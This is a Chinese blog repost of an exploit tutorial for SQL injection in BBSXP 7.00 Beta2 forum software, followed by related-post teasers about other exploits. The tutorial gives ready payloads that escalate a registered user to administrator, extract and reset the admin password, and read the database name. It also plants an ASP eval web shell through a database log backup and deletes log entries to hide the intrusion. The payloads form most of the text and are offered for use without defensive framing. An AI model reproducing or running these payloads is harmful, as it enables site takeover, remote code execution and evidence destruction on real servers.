关于BBSXP 7.00 BETA2 SQL通杀教程

芊芊做的教程
这里记录一下：
注册---->发帖---->编辑（抓包提交）

define:cnsapc为注册用户
bug为帖子内容

提升为管理员:
&cnsapc=bug','');update bbsxp_users set userroleid=1 where username='cnsapc'--

获取后台密码"
&cnsapc=bug','');update bbsxp_users set usermail=(select adminpassword from bbsxp_sitesettings) where username='cnsapc'--

修改后台密码:
&cnsapc=bug','');update bbsxp_sitesettings set adminpassword='md5密码'-- 注意:bbsxp经过md5加密的密码字母都是大写的

获得数据库名:
&cnsapc=bug','');update bbsxp_users set usermail=db_name() where username='cnsapc'--

log备份拿webshell:
&alter database bbsxp set recovery full;drop table cmd;create table cmd (a image);backup log bbsxp to disk = 'c:\cmd' with init;insert into cmd(a) values ('<%eval request(chr(35)):response.end%>');backup log bbsxp to disk = 'C:\web\bbsxp\cmd.asp';--

清除日志:
&delete * from bbsxp_log where username='cnsapc'--

转载于:https://www.cnblogs.com/allyesno/archive/2007/06/25/794307.html

关于BBSXP 7.00 BETA2 SQL通杀教程相关推荐

易想团购注入 user.php,易想团购系统通杀SQL注入漏洞分析及利用漏洞预警 -电脑资料...
刚打开红黑看到J8基友写的一个{易想团购系统最新版通杀}的文章,看他贴的代码里面有个get_client_ip()函数,哈哈,我猜没过滤,果断下了一套程序, 找到get_client_ip()函数 ...
/plus/recommend.php sql注入漏洞,DedeCMS 全版本通杀SQL注入漏洞利用代码及工具 -
DedeCMS 全版本通杀SQL注入漏洞利用代码及工具目前官方最新版已修复该漏洞 V5.7.37 GBK正式版20140228常规更新补丁 http://www.dedecms.com/pl/ ht ...
recommend.php sql注入漏洞,Espcms通杀SQL注入漏洞分析(附EXP)
漏洞:Espcms 通杀 SQL注入漏洞分析附EXP 漏洞作者:Seay博客:www.cnseay.com 官网介绍: 易思ESPCMS企业网站管理系统基于LAMP开发构建的企业网站管理系统,它具有操 ...
Espcms通杀SQL注入漏洞分析(附EXP)
漏洞:Espcms 通杀 SQL注入漏洞分析附EXP 漏洞作者:Seay 博客:www.cnseay.com 官网介绍: 易思ESPCMS企业网站管理系统基于LAMP开发构建的企业网站管理系统,它具有 ...
X86逆向教程2：提取按钮通杀特征码
本章我们将学习特征码的提取与定位,特征码是软件中一段固定的具有标志性的代码片段,特征码的用途非常广泛,最常见的就是杀毒软件的查杀了,查杀就是根据特征码定位技术实现的,再比如木马的免杀也是修改了特征码的 ...
某彩虹资源共享通杀漏洞
任意文件读取是属于文件操作漏洞的一种. 一般任意文件读取漏洞可以读取配置的信息甚至系统文件更重要. 是的你没看错,通杀0day 在某天上课的时候闲着,音乐老师放着好运来,好机会啊,赶紧挖个洞看看,接着 ...
iis+php解析漏洞修复,IIS7.0畸形解析漏洞通杀0day
IIS7.0畸形解析0day通杀漏洞,和Nginx上次的0day一样.使用iis7.0的注意了.临时解决办法:关闭cgi.fix_pathinfo为0 Nginx好像又爆0day了,windows下可 ...
恶意软件伪装成系统更新，通杀Win Mac Linux三大系统，隐藏半年才被发现
晓查发自凹非寺量子位 | 公众号 QbitAI 能同时攻击Windows.Mac.Linux三大操作系统的恶意软件出现了. 虽然"全平台通杀"病毒并不常见,但是安全公司Int ...
人类已无法阻挡AI？围棋后AI再破最强人类堡垒，通杀智力比赛
据美国<科学>杂志报道,一部名叫Pluribus的计算机人工智能程序又突破了人类的一个智力领域--6人德州扑克,这标志着计算机已经通杀了人类主流的棋牌智力比赛. 在卡内基梅隆大学担任计算机 ...

关于BBSXP 7.00 BETA2 SQL通杀教程

关于BBSXP 7.00 BETA2 SQL通杀教程相关推荐

最新文章

热门文章